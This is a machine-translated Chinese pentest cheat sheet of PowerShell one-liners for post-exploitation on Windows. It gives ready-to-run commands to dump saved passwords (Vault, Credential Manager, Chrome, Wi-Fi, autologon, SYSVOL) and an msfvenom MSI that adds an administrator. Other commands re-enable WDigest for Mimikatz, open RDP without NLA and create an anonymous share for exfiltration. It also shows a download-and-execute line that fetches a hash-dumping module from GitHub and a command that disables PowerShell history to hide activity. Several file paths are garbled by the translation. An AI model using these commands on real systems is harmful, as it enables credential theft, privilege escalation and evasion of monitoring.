powershell滲透-資訊收集命令
本文包含從 Internet 的各個角落收集的 PowerShell 命令列表,這些命令在滲透測試或紅色團隊練習期間可能會有所幫助。
該列表包括各種開發後的單行在純 PowerShell 不需要任何攻擊 (= 可能標記為惡意) 第三方模組, 但也一堆方便的管理命令.
我們開始吧!
目錄
隱藏
-
[查找包含敏感資訊的文件](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#locating_files_with_sensitive_information)
-
- [查找可能感興趣的文件](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#find_potentially_interesting_files)
- [在 Sysprep 或未處理文件中查找憑據](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#find_credentials_in_sysprep_or_unattend_files)
- [查找包含"密碼"字元串的配置文件](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#find_configuration_files_containing_password_string)
- [在配置文件中查找資料庫憑據](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#find_database_credentials_in_configuration_files)
- [查找 Web 伺服器配置文件](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#locate_web_server_configuration_files)
-
[提取憑據](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#extracting_credentials)
-
- [從 Windows 密碼 Vault 獲取存儲的密碼](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#get_stored_passwords_from_windows_passwordvault)
- [從 Windows 憑據管理器獲取存儲的密碼](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#get_stored_passwords_from_windows_credential_manager)
- [從Google瀏覽器轉儲密碼](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#dump_passwords_from_google_chrome_browser)
- [從無線配置文件獲取存儲的 Wi-Fi 密碼](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#get_stored_wi-fi_passwords_from_wireless_profiles)
- [在註冊表中搜索 SNMP 社區字元串](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#search_for_snmp_community_string_in_registry)
- [在註冊表中搜索字元串模式](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#search_for_string_pattern_in_registry)
-
[許可權升級](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#privilege_escalation)
-
- [搜索自動登錄憑據的註冊表](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#search_registry_for_auto-logon_credentials)
- [檢查是否啟用了"始終安裝提升"](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#check_if_alwaysinstallelevated_is_enabled)
- [查找未引用的服務路徑](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#find_unquoted_service_paths)
- [檢查 Lsass Wdigest 快取](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#check_for_lsass_wdigest_caching)
- [SYSVOL 和組策略首選項 (GPP) 中的憑據](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#credentials_in_sysvol_and_group_policy_preferences_gpp)
-
[網路相關命令](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#network_related_commands)
-
- [從命令行設置 MAC 地址](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#set_mac_address_from_command-line)
- [允許遠程桌面連接](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#allow_remote_desktop_connections)
- [使用大容量 DNS 反向查找的主機發現](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#host_discovery_using_mass_dns_reverse_lookup)
- [埠掃描主機以尋找有趣的埠](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#port_scan_a_host_for_interesting_ports)
- [埠掃描單個埠的網路(埠掃描)](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#port_scan_a_network_for_a_single_port_port-sweep)
- [創建來賓 SMB 共享驅動器](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#create_a_guest_smb_shared_drive)
- [在 Windows 防火牆中白列出 IP 地址](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#whitelist_an_ip_address_in_windows_firewall)
-
[其他有用的命令](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#other_useful_commands)
-
- [無文件下載和執行](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#file-less_download_and_execute)
- [獲取當前用戶的 SID](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#get_sid_of_the_current_user)
- [檢查我們運行是否具有提升(管理員)許可權](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#check_if_we_are_running_with_elevated_admin_privileges)
- [禁用 PowerShell 命令日誌記錄](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#disable_powershell_command_logging)
- [列出已安裝的防病毒 (AV) 產品](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#list_installed_antivirus_av_products)
-
[結論](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#conclusion)
查找包含敏感資訊的文件
在開發後階段,以下 PowerShell 命令可以很方便地查找磁碟上可能包含憑據、配置詳細資訊和其他敏感資訊的文件。
查找可能感興趣的文件
通過此命令,我們可以根據文件名識別具有潛在敏感數據的文件,如帳戶資訊、憑據、配置文件等:
gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue
雖然這會產生很多噪音,但也會產生一些非常有趣的結果。
建議對每個磁碟驅動器進行此操作,但您也可以在 c:\用戶文件夾上運行它,以便獲得一些快速獲勝。
在 Sysprep 或未處理文件中查找憑據
此命令將查找自動安裝和自動配置的殘餘,這些殘餘可能包含純文本密碼或 base64 編碼密碼:
gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue
這是眾所周知的特權升級技術之一,因為密碼通常是本地管理員密碼。
建議對每個磁碟驅動器進行此設置。
查找包含"密碼"字元串的配置文件
通過此命令,我們可以找到包含特定模式的文件,例如,這裡正在尋找各種文本配置文件中的"密碼"模式:
gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"
雖然這會產生很多噪音,但也會產生一些有趣的結果。
建議對每個磁碟驅動器進行此設置。
在配置文件中查找資料庫憑據
使用以下 PowerShell 命令,我們可以在各種配置文件(如 Web.config)中查找存儲在各種配置文件中的資料庫連接字元串(具有純文本憑據),ASP.NET在 Visual Studio 項目文件中等:
gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"
查找連接字元串,例如對於遠程 Microsoft SQL Server,可能會導致遠程命令執行 (RCE) 使用 xp_cmdshell 功能(鏈接、鏈接、鏈接等)以及隨後的橫向移動。
查找 Web 伺服器配置文件
通過此命令,我們可以輕鬆地找到屬於 Microsoft IIS、XAMPP、Apache、PHP 或 MySQL 安裝的配置文件:
gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue
這些文件可能包含純文本密碼或其他有趣的資訊,可以允許訪問其他資源,如資料庫,管理介面等。
[回到頂部](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#toc)。
提取憑據
以下 PowerShell 命令也屬於開發後類別,它們可用於在訪問 Windows 系統後提取憑據。
從 Windows 密碼 Vault 獲取存儲的密碼
使用以下 PowerShell 命令,我們可以從 Windows密碼 Vault中提取機密,這是一種用於存儲密碼和 Web 憑據的 Windows 內置機制,例如用於 Internet 資源管理器、邊緣和其他應用程式:
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }

請注意,保管庫通常存儲在以下位置,並且只能在當前記錄的用戶的上下文中檢索機密:
- C:\用戶\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
- C:\Windows\System32\配置\系統配置文件\應用程式數據\本地\微軟\Vault\
- C:[程式數據]微軟[Vault]
有關 Windows 密碼 Vault 的更多資訊,請參閱此處。
從 Windows 憑據管理器獲取存儲的密碼
Windows 憑據管理器提供了另一種用於存儲憑據以登錄到網站、登錄到遠程系統和各種應用程式的機制,它還提供了在 PowerShell 腳本中使用憑據的安全方法。
使用以下單行,我們可以使用憑據管理器從憑據管理器檢索所有存儲的憑據:
Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }

與密碼 Vault 類似,憑據存儲在單個用戶配置文件位置,只有當前記錄的用戶才能解密其:
- C:\用戶\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
- C:\用戶\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
- C:\Windows\系統\系統32\配置\系統配置文件\應用程式數據\本地\微軟\憑據\
從Google瀏覽器轉儲密碼
以下命令從 Google Chrome 瀏覽器(如果已安裝)以及存儲任何密碼時提取存儲的憑據:
[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))
同樣,這必須在目標(受害者)用戶的上下文中執行。
從無線配置文件獲取存儲的 Wi-Fi 密碼
通過此命令,我們可以從 Windows 系統中配置的無線配置文件中提取所有存儲的 Wi-Fi 密碼(WEP、WPA PSK、WPA2 PSK 等) :
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize
請注意,我們必須具有管理許可權才能使之有效。
在註冊表中搜索 SNMP 社區字元串
以下命令將提取存儲在註冊表中的 SNMP 社區字元串(如果有) :
gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue
查找 SNMP 社區字元串不是關鍵問題,但它可能很有用:
- 了解組織中系統管理員使用哪種密碼模式
- 執行密碼噴塗攻擊(假設密碼可能在其他地方重新使用)
在註冊表中搜索字元串模式
以下 PowerShell 命令將篩選選定的註冊表配置單元(HKCR、HKCU、HKLM、HKU 和 HKCC),並遞歸搜索註冊表項名稱或數據值中的任何選定模式。在這種情況下,我們正在搜索"密碼"模式:
$pattern = "password"
$hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"
# Search in registry keys
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" }
# Search in registry values
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match "$pattern") { $_.PsPath; $_ | out-string -stream | sls "$pattern" }}}
雖然這可能需要很多時間併產生大量噪音,但它肯定會在註冊表中找到所選模式的每一次出現。
[回到頂部](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#toc)。
許可權升級
以下各節包含適用於許可權升級攻擊的 PowerShell 命令 , 適用於我們只有低特權用戶訪問許可權並且我們希望將許可權上報給本地管理員的情況。
搜索自動登錄憑據的註冊表
Windows 系統可以配置為在啟動時自動登錄,例如在 POS(銷售點)系統上使用。通常,這是通過將用戶名和密碼存儲在特定的 Winlogon 註冊表位置(以明文顯示)來配置的。
以下命令將從註冊表獲取自動登錄憑據:
gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon' | select "Default*"

檢查是否啟用了"始終安裝提升"
如果以下始終安裝提升的註冊表項設置為 1,則意味著任何低特權用戶可以安裝 *.msi 具有 NT 頒發機構\SYSTEM 許可權的文件。下面使用 PowerShell 檢查:
gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
請注意,兩個註冊表項必須設置為 1 才能正常工作。
MSI安裝程式包可以很容易地生成使用msfvenom實用程式從元普洛伊特框架。例如,我們可以把自己添加到管理員組中:
msfvenom -p windows/exec CMD='net localgroup administrators joe /add' -f msi > pkg.msi
查找未引用的服務路徑
以下 PowerShell 命令將列印其可執行路徑未包含在引號中的服務("):
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
這可能導致許可權升級,以防可執行路徑還包含空格,並且我們對路徑中的任何文件夾都有寫入許可權。
有關此技術的更多詳細資訊,包括開發步驟,請在這裡或此處找到。
檢查 Lsass Wdigest 快取
使用以下命令,我們可以檢查系統是否啟用了 WDigest 憑據快取。設置決定了我們是否能夠使用Mimikatz 從LSASS 進程記憶體中提取純文本憑據。
(gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential
- 如果該值設置為 0,則禁用快取(系統受到保護)
- 如果不存在或設置為 1,則啟用快取
請注意,如果禁用它,我們仍可以使用以下命令啟用它,但我們還必須在之後重新啟動系統:
sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1
SYSVOL 和組策略首選項 (GPP) 中的憑據
在公司 Windows 活動目錄環境中,有時可以在組策略中、在 SYSVOL 網路共享中的域控制器上的各種自定義腳本或配置文件中找到憑據。
由於任何經過身份驗證的域用戶都可以訪問 SYSVOL 網路共享,因此我們可以使用以下命令輕鬆識別是否有任何存儲憑據:
Push-Location \\example.com\sysvol
gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue | select-string password
Pop-Location
一個典型的示例是MS14-025,GPP XML 文件中具有 cPassword 屬性。"密碼"屬性可以立即解密為純文本形式,例如,在 Kali Linux 中使用gpp 解密實用程式。
[回到頂部](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#toc)。
網路相關命令
下面是一些與網路相關的 PowerShell 命令,這些命令在內部網路滲透測試和類似練習中尤其有用。
從命令行設置 MAC 地址
有時在網路介面上設置 MAC 地址會很有用,使用 PowerShell,我們可以輕鬆地使用任何第三方實用程式:
Set-NetAdapter -Name "Ethernet0" -MacAddress "00-01-18-57-1B-0D"
這非常有用,例如,當我們測試 NAC(網路訪問控制)旁路和其他方面。
允許遠程桌面連接
當我們想要使用圖形 RDP 會話連接到系統時,此命令三重奏可能很有用,但由於某些原因,未啟用它:
# Allow RDP connections
(Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)
# Disable NLA
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
# Allow RDP on the firewall
Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True
現在埠 tcp/3389 應該是開放的,我們應該能夠連接沒有問題,例如通過使用來自 Kali Linux 的 xfreerdp 或 rdesktop 工具。
使用大容量 DNS 反向查找的主機發現
使用此命令,我們可以在 10.10.1.0/24 子網上執行快速反向 DNS 查找,並查看是否有任何可解析(可能處於活動狀態)主機:
$net = "10.10.1."
0..255 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace("`r","").replace("`n"," "); Write-Output "$net$_ $r"} | tee ip_hostname.txt
然後,結果將保存在ip_hostname.txt目錄中的日誌文件中。
有時,這可能比 pingsweep 或類似技術更快、更隱蔽。
埠掃描主機以尋找有趣的埠
下面了解如何快速移植掃描所選 39 個有趣埠的指定 IP 地址 (10.10.15.232):
$ports = "21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017"
$ip = "10.10.15.232"
$ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null
這將讓我們快速了解網路上的特定主機,使用純 PowerShell:

埠掃描單個埠的網路(埠掃描)
這對於在指定的網路 C 類子網 (10.10.0.0/24) 上快速發現 SSH 介面 (埠 tcp/22) 非常有用:
$port = 22
$net = "10.10.0."
0..255 | foreach { echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port $port is open on $net$_"} 2>$null
如果您嘗試只識別 Windows 系統,只需將埠更改為 445。
創建來賓 SMB 共享驅動器
下面是一個很酷的技巧,可以快速啟動任何人都可以訪問的 SMB (CIFS) 網路共享驅動器:
new-item "c:\users\public\share" -itemtype directory
New-SmbShare -Name "sharedir" -Path "C:\users\public\share" -FullAccess "Everyone","Guests","Anonymous Logon"
若要在之後停止它,請執行:
Remove-SmbShare -Name "sharedir" -Force
這可以派上用場傳輸文件,滲出等。
在 Windows 防火牆中白列出 IP 地址
下面是將 Windows 防火牆中的 IP 地址列入白名單的有用命令:
New-NetFirewallRule -Action Allow -DisplayName "pentest" -RemoteAddress 10.10.15.123
現在,我們應該能夠從每個埠上的 IP 地址 (10.10.15.123) 連接到此主機。
完成業務後,刪除以下規則:
Remove-NetFirewallRule -DisplayName "pentest"
[回到頂部](//www.infosecmatter.com/powershell-commands-for-pentesters/?fbclid=IwAR3QFe5-DcqiL2hmemj7MM9YF0NCAf1I9EwqnhG8uSltDZRDciM5ptlVrV0 PowerShell Commands for Pentesters#toc)。
其他有用的命令
以下命令可用於執行各種管理任務、收集有關係統的資訊或使用在筆測試期間可能有用的其他 PowerShell 功能。
無文件下載和執行
使用這個微小的 PowerShell 命令,我們可以輕鬆地下載和執行遠程託管的任意 PowerShell 程式碼 - 無論是我們自己的機器還是 Internet 上:
iex(iwr("//URL"))
- iwr = 調用 - Web 請求
- iex = 調用表達式
遠程內容將下載和載入,而無需接觸磁碟(無文件)。現在,我們可以運行它。
我們可以將它用於任何數量的流行攻擊模組,例如:
- //github.com/samratashok/nishang
- //github.com/PowerShellMafia/PowerSploit
- //github.com/FuzzySecurity/PowerShell-Suite
- //github.com/EmpireProject/Empire(此處的模組)
下面是使用 nishang Get-Passhashes 模組轉儲本地密碼哈希 (hashdump) 的示例:
iex(iwr("//raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes
很容易, 但請注意, 這很可能由任何體面的 AV 或 Edr 標記。
在這種情況下,您可以這樣做,您可以混淆要使用的模組,並自己託管它們。
獲取當前用戶的 SID
以下命令將返回當前用戶的 SID 值:
([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value
檢查我們運行是否具有提升(管理員)許可權
下面是一個快速的單行,用於檢查我們是否正在運行具有管理員許可權的提升 PowerShell 會話:
If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "yes"; } else { echo "no"; }
禁用 PowerShell 命令日誌記錄
默認情況下,PowerShell 會自動在歷史記錄文件中記錄多達 4096 個命令,與 Bash 在 Linux 上記錄的命令類似。
PowerShell 歷史記錄文件是位於以下位置的每個用戶配置文件中的純文本文件:
- C:\用戶\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ConsoleHost_history.txt\\\\\\\\\\\\\\\\
通過以下命令,我們可以在當前 shell 會話中禁用 PowerShell 命令日誌記錄功能:
Set-PSReadlineOption –HistorySaveStyle SaveNothing
或
Remove-Module PSReadline
如果我們想要最大限度地減少我們在系統中的足跡,這在紅色團隊練習中非常有用。
從現在起,PowerShell 歷史記錄文件中將不記錄任何命令。但是請注意,上述命令仍將在歷史記錄文件中回顯,因此請注意,這不是完全隱蔽的。
列出已安裝的防病毒 (AV) 產品
下面是一個簡單的 PowerShell 命令,用於查詢安全中心並識別此電腦上的所有已安裝的防病毒產品:
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

通過解碼產品狀態值,我們可以確定當前啟用了哪些 AV(如果安裝了多個 AV)、簽名是否為最新,甚至啟用了哪些 AV 功能和掃描引擎(例如實時保護、反間諜軟體、自動更新等)。
然而,這是一個相當深奧的話題,沒有一個簡單的解決方案。以下是有關該主題的一些鏈接:
- //mspscripts.com/get-installed-antivirus-information-2/
- //jdhitsolutions.com/blog/powershell/5187/get-antivirus-product-status-with-powershell/
- //stackoverflow.com/questions/4700897/wmi-security-center-productstate-clarification/4711211
- //docs.microsoft.com/en-us/windows/win32/api/iwscapi/ne-iwscapi-wsc_security_product_state
- //social.msdn.microsoft.com/Forums/pt-BR/6501b87e-dda4-4838-93c3-244daa355d7c/wmisecuritycenter2-productstate
結論
希望您有時在筆試時會發現此收藏非常有用。請留下你最喜歡的單行評論。
對於其他有趣的命令,請查看我們的純 PowerShell infosec 參考,或查看我們在 github上收集的極簡攻擊性攻擊性安全工具。
